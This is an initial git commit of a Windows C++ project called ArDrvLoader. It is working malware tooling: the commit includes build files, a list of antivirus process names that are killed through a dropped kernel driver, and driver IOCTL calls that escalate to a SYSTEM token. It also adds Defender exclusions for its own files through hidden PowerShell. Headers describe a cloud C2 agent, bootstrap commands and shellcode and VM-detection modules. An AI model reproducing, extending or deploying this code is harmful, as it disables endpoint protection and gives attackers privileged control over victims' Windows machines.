Init commit

This commit is contained in:
My Name
2026-11-03 20:45:39 -08:00
commit 26642f28a2
57 changed files with 15683 additions and 0 deletions
+70
View File
@@ -0,0 +1,70 @@
# ── Visual Studio ────────────────────────────────────────────────
.vs/
*.sln.docstates
*.suo
*.user
*.rsuser
*.VC.db
*.VC.VC.opendb
*.psess
*.vsp
*.vspx
*.sap
# ── Build output / MSBuild intermediates ─────────────────────────
x64/
Debug/
Release/
dist/
obj/
bin/
*.obj
*.res
*.tlog
*.recipe
*.ilk
*.iobj
*.ipdb
*.idb
*.pdb
*.lastbuildstate
*.cache
*.log
# ── Generated binaries (build.ps1 rebuilds these) ────────────────
*.exe
*.dll
ardrvstage.dll
ArDrvLoader.exe
# ── Node / server ────────────────────────────────────────────────
node_modules/
npm-debug.log*
yarn-error.log*
pnpm-debug.log*
package-lock.json.bak
# ── Server runtime data (SQLite db, WAL/SHM) ─────────────────────
server/data/
*.sqlite
*.sqlite-wal
*.sqlite-shm
*.db
# ── Secrets / local config ───────────────────────────────────────
.env
.env.local
.env.*.local
cloudflare/.dev.vars
cloudflare/.wrangler/
# ── Temp / misc ──────────────────────────────────────────────────
*.tmp
*.temp
*.bak
*.orig
*.swp
*~
Thumbs.db
desktop.ini
.DS_Store
+21
View File
@@ -0,0 +1,21 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ArDrvLoader", "ArDrvLoader.vcxproj", "{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.ActiveCfg = Debug|x64
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.Build.0 = Debug|x64
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.ActiveCfg = Release|x64
{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+137
View File
@@ -0,0 +1,137 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<ProjectGuid>{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}</ProjectGuid>
<RootNamespace>ArDrvLoader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)'=='Debug'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L&quot;http://127.0.0.1:8789&quot;;ARDRV_DEFAULT_OPERATOR_KEY=L&quot;testop&quot;;ARDRV_DEFAULT_SECRET=L&quot;testsecret&quot;;ARDRV_DEFAULT_AGENT=L&quot;&quot;;ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)'=='Release'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L&quot;http://127.0.0.1:8789&quot;;ARDRV_DEFAULT_OPERATOR_KEY=L&quot;testop&quot;;ARDRV_DEFAULT_SECRET=L&quot;testsecret&quot;;ARDRV_DEFAULT_AGENT=L&quot;&quot;;ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>wmainCRTStartup</EntryPointSymbol>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<AdditionalOptions>/Brepro /PDBALTPATH:%_PDB% %(AdditionalOptions)</AdditionalOptions>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ResourceCompile Include="driver_res.rc">
<PreprocessorDefinitions Condition="Exists('ardrv.sys') AND '$(EmbedPayload)'!='false'">HAVE_DRIVER_IMAGE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
<ResourceCompile Include="stage_res.rc">
<PreprocessorDefinitions Condition="Exists('ardrvstage.dll') AND '$(EmbedPayload)'!='false'">HAVE_STAGE_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="CloudAgent.cpp" />
<ClCompile Include="GuardService.cpp" />
<ClCompile Include="Logger.cpp" />
<ClCompile Include="TokenUtils.cpp" />
<ClCompile Include="DriverClient.cpp" />
<ClCompile Include="ProcessUtils.cpp" />
<ClCompile Include="ShellcodeUtils.cpp" />
<ClCompile Include="AvKill.cpp" />
<ClCompile Include="ServiceManager.cpp" />
<ClCompile Include="VmDetect.cpp" />
<ClCompile Include="KillSafety.cpp" />
<ClCompile Include="HostSpawn.cpp" />
<ClCompile Include="HostStager.cpp" />
<ClCompile Include="Paths.cpp" />
<ClCompile Include="StageClient.cpp" />
<ClCompile Include="Exclusions.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Common.h" />
<ClInclude Include="CloudAgent.h" />
<ClInclude Include="GuardService.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="Logger.h" />
<ClInclude Include="TokenUtils.h" />
<ClInclude Include="DriverClient.h" />
<ClInclude Include="ProcessUtils.h" />
<ClInclude Include="ShellcodeUtils.h" />
<ClInclude Include="AvKill.h" />
<ClInclude Include="ServiceManager.h" />
<ClInclude Include="VmDetect.h" />
<ClInclude Include="KillSafety.h" />
<ClInclude Include="HostSpawn.h" />
<ClInclude Include="HostStager.h" />
<ClInclude Include="Paths.h" />
<ClInclude Include="StageClient.h" />
<ClInclude Include="Exclusions.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
</Project>
+113
View File
@@ -0,0 +1,113 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="CloudAgent.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="GuardService.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Logger.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="TokenUtils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="DriverClient.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ProcessUtils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ShellcodeUtils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="AvKill.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ServiceManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="VmDetect.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Paths.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HostStager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HostSpawn.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KillSafety.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="CloudAgent.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="GuardService.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Logger.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="TokenUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="DriverClient.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ProcessUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ShellcodeUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="AvKill.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ServiceManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="VmDetect.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Paths.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="HostStager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="HostSpawn.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="KillSafety.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+74
View File
@@ -0,0 +1,74 @@
#include "Common.h"
#include "AvKill.h"
#include "KillSafety.h"
#include "Logger.h"
#include <string>
#include <vector>
static const wchar_t* kAvImages[] =
{
L"MsMpEng.exe",
L"NisSrv.exe",
L"MpCmdRun.exe",
L"avast.exe",
L"AvastUI.exe",
L"AvastSvc.exe",
L"avguard.exe",
L"avgnt.exe",
L"AvgSvc.exe",
L"avp.exe",
L"klnagent.exe",
L"klheads.exe",
L"kxetray.exe",
L"ekrn.exe",
L"ESETSvc.exe",
L"mcshield.exe",
L"mfemms.exe",
L"sophosclean.exe",
L"SAVService.exe",
L"ccSvcHst.exe",
L"smc.exe",
L"bdagent.exe",
L"vsserv.exe",
};
static std::vector<std::wstring> AvImageList()
{
std::vector<std::wstring> v;
for (const wchar_t* n : kAvImages)
v.emplace_back(n);
return v;
}
bool KillAVProcesses()
{
KillReport report;
// Env switch lets you watch the decision path without terminating anything.
wchar_t dry[8]{};
DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry));
const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y');
KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
Log(L"[+] AV kill: %s", report.Format().c_str());
wprintf(L"[killav] %s\n", report.Format().c_str());
return true;
}
bool KillAVProcessesEx(bool dryRun, std::wstring& summary)
{
KillReport report;
KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
summary = report.Format();
Log(L"[+] AV kill: %s", summary.c_str());
return report.killed > 0;
}
+10
View File
@@ -0,0 +1,10 @@
#pragma once
#include <string>
// Safe AV termination through the driver: identity-checked, protected-list
// aware, capped. Honours ARDRV_KILL_DRYRUN=1.
bool KillAVProcesses();
// Same, with an explicit dry-run switch and a report string for the cloud ACK.
bool KillAVProcessesEx(bool dryRun, std::wstring& summary);
+3464
View File
File diff suppressed because it is too large Load Diff
+20
View File
@@ -0,0 +1,20 @@
#pragma once
#include <windows.h>
// Cloud C2 mode. Call as:
// ArDrvLoader.exe -cloud [options] [agent] <url> <secret> [interval_ms]
int RunCloudAgent(int argc, wchar_t** argv);
// Windows service entry point. Install with:
// sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent"
int RunCloudService(int argc, wchar_t** argv);
// One-time enrollment: fetches this agent's own key from the worker and stores
// it next to the host tracking file.
// ArDrvLoader.exe -enroll --url <worker> --agent <id> --enroll-secret <token>
int RunEnroll(int argc, wchar_t** argv);
// Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV.
// ArDrvLoader.exe -bootstrap --url <worker> --operator-key <key> [--secret <s>] [--agent <id>]
int RunBootstrap(int argc, wchar_t** argv);
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <tlhelp32.h>
#include <sddl.h>
#include <userenv.h>
#include <wtsapi32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include <vector>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "Userenv.lib")
#pragma comment(lib, "Wtsapi32.lib")
+377
View File
@@ -0,0 +1,377 @@
#include "Common.h"
#include "DriverClient.h"
#include "TokenUtils.h"
#include "Logger.h"
#include "resource.h"
static HANDLE g_hDriver = INVALID_HANDLE_VALUE;
#define DRIVER_NAME L"\\\\.\\ArDrv"
#define SERVICE_NAME L"ArDrv"
#define DRIVER_PATH L"C:\\Windows\\System32\\drivers\\ardrv.sys"
#define IOCTL_TERM 0x2420031
#define IOCTL_ESC 0x2420035
// Writes the driver image that was packed into this executable via RCDATA.
// Returns false when no image is embedded or when writing fails.
DWORD EmbeddedDriverSize()
{
HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA);
return res ? SizeofResource(nullptr, res) : 0;
}
bool WriteEmbeddedDriverTo(const wchar_t* destPath)
{
HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA);
if (!res)
{
Log(L"[-] No embedded driver image in this build");
return false;
}
DWORD size = SizeofResource(nullptr, res);
if (size == 0)
{
Log(L"[-] Embedded driver resource is empty");
return false;
}
HGLOBAL loaded = LoadResource(nullptr, res);
if (!loaded)
{
Log(L"[-] LoadResource failed: %lu", GetLastError());
return false;
}
const void* data = LockResource(loaded);
if (!data)
{
Log(L"[-] LockResource failed: %lu", GetLastError());
return false;
}
DWORD attr = GetFileAttributesW(destPath);
if (attr != INVALID_FILE_ATTRIBUTES)
{
if (attr & FILE_ATTRIBUTE_READONLY)
SetFileAttributesW(destPath, attr & ~FILE_ATTRIBUTE_READONLY);
DeleteFileW(destPath);
}
HANDLE file = CreateFileW(
destPath,
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (file == INVALID_HANDLE_VALUE)
{
Log(L"[-] Cannot create %s: %lu", destPath, GetLastError());
return false;
}
DWORD written = 0;
BOOL ok = WriteFile(file, data, size, &written, nullptr);
DWORD err = GetLastError();
CloseHandle(file);
if (!ok || written != size)
{
Log(L"[-] WriteFile %s failed: %lu", destPath, err);
DeleteFileW(destPath);
return false;
}
Log(L"[+] Embedded driver extracted: %s (%lu bytes)", destPath, size);
return true;
}
bool OpenDriver()
{
if (g_hDriver != INVALID_HANDLE_VALUE)
return true;
g_hDriver = CreateFileW(
DRIVER_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (g_hDriver == INVALID_HANDLE_VALUE)
{
Log(L"[-] OpenDriver failed: %lu", GetLastError());
return false;
}
Log(L"[+] Driver opened");
return true;
}
void CloseDriver()
{
if (g_hDriver != INVALID_HANDLE_VALUE)
{
CloseHandle(g_hDriver);
g_hDriver = INVALID_HANDLE_VALUE;
}
}
bool ExtractDriverImageIfEmbedded(const wchar_t* destPath)
{
if (!destPath || !*destPath)
return false;
DWORD attr = GetFileAttributesW(destPath);
if (attr != INVALID_FILE_ATTRIBUTES)
return true;
return WriteEmbeddedDriverTo(destPath);
}
bool EnsureDriverLoaded()
{
if (OpenDriver())
return true;
// Packed driver: drop it on disk before the SCM tries to load it.
if (GetFileAttributesW(DRIVER_PATH) == INVALID_FILE_ATTRIBUTES)
ExtractDriverImageIfEmbedded(DRIVER_PATH);
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!scm)
{
Log(L"[-] OpenSCManager failed: %lu", GetLastError());
return false;
}
SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START);
if (!svc)
{
DWORD e = GetLastError();
if (e == ERROR_SERVICE_EXISTS)
{
svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START);
}
else
{
svc = CreateServiceW(
scm,
SERVICE_NAME,
SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_START,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
DRIVER_PATH,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr);
if (svc)
Log(L"[+] Driver service created");
else
Log(L"[-] CreateService failed: %lu", GetLastError());
}
}
if (svc)
{
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && (st.dwCurrentState == SERVICE_RUNNING);
if (!running)
{
BOOL started = StartServiceW(svc, 0, nullptr);
DWORD e = GetLastError();
if (!started && e != ERROR_SERVICE_ALREADY_RUNNING)
Log(L"[!] StartService failed: %lu", e);
else
Log(L"[+] Driver service started");
}
else
{
Log(L"[+] Driver service already running");
}
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
for (int i = 0; i < 50; ++i)
{
if (OpenDriver())
return true;
Sleep(20);
}
Log(L"[-] Driver device not found after service start");
return false;
}
static HANDLE DuplicateDriverReturnedTokenHandle(ULONG_PTR handleValue)
{
if (handleValue == 0)
return nullptr;
HANDLE src = reinterpret_cast<HANDLE>(handleValue);
HANDLE dup = nullptr;
if (!DuplicateHandle(
GetCurrentProcess(),
src,
GetCurrentProcess(),
&dup,
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID,
FALSE,
DUPLICATE_SAME_ACCESS))
{
Log(L"[-] Driver returned handle %p, but DuplicateHandle failed: %lu", src, GetLastError());
return nullptr;
}
if (!TokenIsLocalSystem(dup))
{
Log(L"[-] Driver returned token is not LocalSystem");
CloseHandle(dup);
return nullptr;
}
Log(L"[+] Driver returned usable SYSTEM token handle");
return dup;
}
bool EscalateViaDriver(HANDLE* outSystemToken)
{
if (!OpenDriver())
return false;
struct EscRequest
{
BYTE op;
BYTE reserved[15];
};
static_assert(sizeof(EscRequest) == 16, "EscRequest must match driver input buffer size");
EscRequest req{};
req.op = 0x01;
ULONG_PTR outHandle = 0;
DWORD bytes = 0;
BOOL ok = DeviceIoControl(
g_hDriver,
IOCTL_ESC,
&req,
sizeof(req),
&outHandle,
sizeof(outHandle),
&bytes,
nullptr);
DWORD err = ok ? ERROR_SUCCESS : GetLastError();
if (!ok && (err == ERROR_INVALID_PARAMETER || err == ERROR_MORE_DATA))
{
outHandle = 0;
bytes = 0;
ok = DeviceIoControl(
g_hDriver,
IOCTL_ESC,
&req,
sizeof(req),
nullptr,
0,
nullptr,
nullptr);
err = ok ? ERROR_SUCCESS : GetLastError();
}
if (!ok)
{
Log(L"[-] IOCTL_ESC failed: %lu", err);
return false;
}
if (bytes >= sizeof(ULONG_PTR))
{
HANDLE token = DuplicateDriverReturnedTokenHandle(outHandle);
if (token)
{
if (outSystemToken)
*outSystemToken = token;
else
CloseHandle(token);
return true;
}
}
bool systemNow = IsCurrentProcessSystem();
if (!systemNow)
Log(L"[-] IOCTL_ESC returned success, but current process is not SYSTEM and no usable token handle was returned");
return systemNow;
}
bool TerminateProcessViaDriver(DWORD pid)
{
if (!pid)
return false;
if (!OpenDriver())
return false;
DWORD bytes = 0;
BOOL ok = DeviceIoControl(
g_hDriver,
IOCTL_TERM,
&pid,
sizeof(pid),
nullptr,
0,
&bytes,
nullptr);
if (!ok)
{
Log(L"[-] TerminateProcessViaDriver(%lu) failed: %lu", pid, GetLastError());
return false;
}
Log(L"[+] Terminate IOCTL accepted for PID %lu", pid);
return true;
}
+20
View File
@@ -0,0 +1,20 @@
#pragma once
#include <windows.h>
bool OpenDriver();
void CloseDriver();
bool EnsureDriverLoaded();
bool EscalateViaDriver(HANDLE* outSystemToken);
bool TerminateProcessViaDriver(DWORD pid);
// Writes the driver image packed into this executable to destPath, overwriting
// whatever is there. Returns false when no image is embedded or writing fails.
bool WriteEmbeddedDriverTo(const wchar_t* destPath);
// Size of the packed driver image in bytes, 0 when none is embedded.
DWORD EmbeddedDriverSize();
// Extracts the embedded ardrv.sys to destPath when the file is absent.
// Returns true when destPath exists afterwards.
bool ExtractDriverImageIfEmbedded(const wchar_t* destPath);
+329
View File
@@ -0,0 +1,329 @@
#include "Common.h"
#include "Exclusions.h"
#include "Paths.h"
#include "Logger.h"
#include <sstream>
#include <vector>
static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader";
static const wchar_t* kExclusionValue = L"ExclusionPaths";
static std::wstring PowerShellPath()
{
wchar_t sys[MAX_PATH]{};
if (GetSystemDirectoryW(sys, _countof(sys)) == 0)
return L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
return std::wstring(sys) +
L"\\WindowsPowerShell\\v1.0\\powershell.exe";
}
// Runs a PowerShell one-liner and captures stdout.
static bool RunPowerShell(const std::wstring& script, std::wstring& output)
{
output.clear();
SECURITY_ATTRIBUTES sa{};
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
HANDLE readEnd = nullptr;
HANDLE writeEnd = nullptr;
if (!CreatePipe(&readEnd, &writeEnd, &sa, 0))
return false;
SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0);
STARTUPINFOW si{};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = writeEnd;
si.hStdError = writeEnd;
si.hStdInput = nullptr;
PROCESS_INFORMATION pi{};
std::wstring cmd =
L"\"" + PowerShellPath() + L"\" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" +
script + L"\"";
std::vector<wchar_t> mutableCmd(cmd.begin(), cmd.end());
mutableCmd.push_back(L'\0');
BOOL ok = CreateProcessW(
nullptr,
mutableCmd.data(),
nullptr,
nullptr,
TRUE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&si,
&pi);
CloseHandle(writeEnd);
if (!ok)
{
CloseHandle(readEnd);
return false;
}
std::string bytes;
char buf[4096]{};
DWORD read = 0;
while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0)
bytes.append(buf, read);
WaitForSingleObject(pi.hProcess, 60000);
CloseHandle(readEnd);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
int need = MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), nullptr, 0);
if (need > 0)
{
output.resize(need);
MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), output.data(), need);
}
return true;
}
bool DefenderPresent()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return false;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
bool found = false;
if (Process32First(snap, &pe))
{
do
{
if (_wcsicmp(pe.szExeFile, L"MsMpEng.exe") == 0)
{
found = true;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return found;
}
std::vector<std::wstring> DefaultExclusionPaths()
{
std::vector<std::wstring> paths;
paths.push_back(ArdrvRoot());
paths.push_back(ArdrvStageDir());
wchar_t module[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
if (len > 0 && len < _countof(module))
paths.push_back(module);
return paths;
}
static std::wstring EscapePowerShell(const std::wstring& s)
{
std::wstring out;
for (wchar_t c : s)
{
if (c == L'\'')
out += L"''";
else
out += c;
}
return out;
}
bool ApplyExclusions(const std::vector<std::wstring>& paths, std::wstring& report)
{
report.clear();
if (paths.empty())
{
report = L"no paths";
return false;
}
std::wstring script = L"$ErrorActionPreference='Stop'; ";
for (const auto& p : paths)
script += L"try { Add-MpPreference -ExclusionPath '" + EscapePowerShell(p) +
L"' -ErrorAction Stop; Write-Output ('APPLIED ' + '" + EscapePowerShell(p) + L"') } " +
L"catch { Write-Output ('REFUSED ' + '" + EscapePowerShell(p) + L"' + ' :: ' + " +
L"$_.Exception.GetType().Name) }; ";
script += L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { 'NOW ' + $_ } } catch { 'NOW unavailable' }";
std::wstring output;
if (!RunPowerShell(script, output))
{
report = L"powershell failed";
return false;
}
report = output;
bool applied = output.find(L"APPLIED") != std::wstring::npos;
Log(L"[excl] apply result: %s", applied ? L"applied" : L"refused by policy");
return applied;
}
std::vector<std::wstring> QueryExclusions(std::wstring& report)
{
std::vector<std::wstring> paths;
report.clear();
std::wstring output;
if (!RunPowerShell(L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { $_ } } catch { 'ERR ' + $_.Exception.Message }", output))
{
report = L"powershell failed";
return paths;
}
std::wistringstream in(output);
std::wstring line;
while (std::getline(in, line))
{
while (!line.empty() && (line.back() == L'\r' || line.back() == L'\n'))
line.pop_back();
if (line.empty())
continue;
if (line.rfind(L"ERR", 0) == 0)
{
report = line;
continue;
}
// Defender answers with a pseudo-entry when the caller is not elevated.
if (line.rfind(L"N/A", 0) == 0)
{
report = line;
continue;
}
paths.push_back(line);
}
report = paths.empty() ? L"none" : (std::to_wstring(paths.size()) + L" entries");
return paths;
}
std::vector<std::wstring> LoadExclusionList()
{
std::vector<std::wstring> paths;
HKEY key = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS)
return paths;
wchar_t buf[8192]{};
DWORD size = sizeof(buf);
DWORD type = 0;
if (RegQueryValueExW(key, kExclusionValue, nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
(type == REG_SZ || type == REG_EXPAND_SZ))
{
std::wstring all = buf;
std::wstring cur;
for (wchar_t c : all)
{
if (c == L'|')
{
if (!cur.empty())
paths.push_back(cur);
cur.clear();
}
else
{
cur += c;
}
}
if (!cur.empty())
paths.push_back(cur);
}
RegCloseKey(key);
return paths;
}
bool SaveExclusionList(const std::vector<std::wstring>& paths)
{
std::wstring joined;
for (const auto& p : paths)
{
if (!joined.empty())
joined += L"|";
joined += p;
}
HKEY key = nullptr;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr)
!= ERROR_SUCCESS)
{
return false;
}
DWORD bytes = (DWORD)((joined.size() + 1) * sizeof(wchar_t));
bool ok = RegSetValueExW(
key,
kExclusionValue,
0,
REG_SZ,
(const BYTE*)joined.c_str(),
bytes) == ERROR_SUCCESS;
RegCloseKey(key);
return ok;
}
std::wstring FormatExclusionList(const std::vector<std::wstring>& paths)
{
if (paths.empty())
return L"none";
std::wostringstream os;
os << paths.size() << L" paths";
for (const auto& p : paths)
os << L"\r\n " << p;
return os.str();
}
+28
View File
@@ -0,0 +1,28 @@
#pragma once
#include <windows.h>
#include <string>
#include <vector>
// Defensive exclusions. Best effort by design: Tamper Protection refuses
// Add-MpPreference even for SYSTEM, in which case the report says so instead of
// pretending the exclusion landed.
bool DefenderPresent();
// Paths the loader wants excluded: its own binaries and working directories.
std::vector<std::wstring> DefaultExclusionPaths();
// Applies the list through Add-MpPreference, then reads the result back.
// report receives one line per path (applied / refused) plus a summary.
bool ApplyExclusions(const std::vector<std::wstring>& paths, std::wstring& report);
